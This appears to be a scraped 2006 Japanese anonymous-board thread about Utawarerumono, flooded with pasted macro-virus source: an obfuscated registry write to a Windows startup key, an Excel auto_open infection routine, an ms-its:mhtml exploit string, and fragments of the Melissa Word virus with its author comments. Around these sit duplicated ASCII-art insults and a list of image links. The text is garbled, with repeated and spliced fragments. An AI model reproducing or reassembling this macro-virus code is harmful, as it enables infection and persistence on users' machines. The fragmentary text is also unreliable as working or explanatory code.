うたわれるもの 戦記巻ノ百壱
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
|
|
|
372 ：風の谷の名無しさん＠実況は実況板で：2006/10/02(月) 23:13:52 ID:bWKEVB4W
／￣￣￣￣￣￣￣￣￣￣￣￣￣
| 無職ﾋｷｰｷﾓ豚エロゲマニアの自作自演痛いな〜〜
＼＿＿ ＿＿＿＿＿＿＿＿＿＿
.∨
＿＿＿_
∧＿∧ ....|｜＼ ＼￣|￣ |
（ ；´Д｀） |｜ |￣￣ | .|：[].|
┌（ つ／￣|｜／ ￣￣/ .|＝ |
|└ ヽ |二二二」二二二二二二二二」
￣］|_＿）_） .| || | ||
／￣＼ ／ . || ／ ||
◎ ◎..［＿___|| .［＿＿||
| 無職ﾋｷｰｷﾓ豚エロゲマニアの自作自演痛いな〜〜
＼＿＿ ＿＿＿＿＿＿＿＿＿＿
.∨
＿＿＿_
∧＿∧ ....|｜＼ ＼￣|￣ |
（ ；´Д｀） |｜ |￣￣ | .|：[].|
┌（ つ／￣|｜／ ￣￣/ .|＝ |
|└ ヽ |二二二」二二二二二二二二」
￣］|_＿）_） .| || | ||
／￣＼ ／ . || ／ ||
◎ ◎..［＿___|| .［＿＿||
373 ：風の谷の名無しさん＠実況は実況板で：2006/10/02(月) 23:18:11 ID:+/wkd9cx
If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True
End If
'WORD/Melissa written by Kwyjibo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!
If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."
End Sub
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True
End If
'WORD/Melissa written by Kwyjibo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!
If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."
End Sub
374 ：風の谷の名無しさん＠実況は実況板で：2006/10/02(月) 23:27:57 ID:+/wkd9cx
君たちにもかわいい時期があったんだね
http://homepage1.nifty.com/KASAI-CHAPPUIS/Image_EBD/untitled02.jpg
http://homepage1.nifty.com/KASAI-CHAPPUIS/Image_EBD/untitled03.jpg
http://homepage1.nifty.com/KASAI-CHAPPUIS/Image_EBD/untitled08.jpg
http://homepage1.nifty.com/KASAI-CHAPPUIS/Image_EBD/untitled09.jpg
http://homepage1.nifty.com/KASAI-CHAPPUIS/Image_EBD/untitled11.jpg
http://homepage1.nifty.com/KASAI-CHAPPUIS/Image_EBD/untitled12.jpg
http://homepage1.nifty.com/KASAI-CHAPPUIS/Image_EBD/untitled18.jpg
http://homepage1.nifty.com/KASAI-CHAPPUIS/Image_EBD/untitled02.jpg
http://homepage1.nifty.com/KASAI-CHAPPUIS/Image_EBD/untitled03.jpg
http://homepage1.nifty.com/KASAI-CHAPPUIS/Image_EBD/untitled08.jpg
http://homepage1.nifty.com/KASAI-CHAPPUIS/Image_EBD/untitled09.jpg
http://homepage1.nifty.com/KASAI-CHAPPUIS/Image_EBD/untitled11.jpg
http://homepage1.nifty.com/KASAI-CHAPPUIS/Image_EBD/untitled12.jpg
http://homepage1.nifty.com/KASAI-CHAPPUIS/Image_EBD/untitled18.jpg
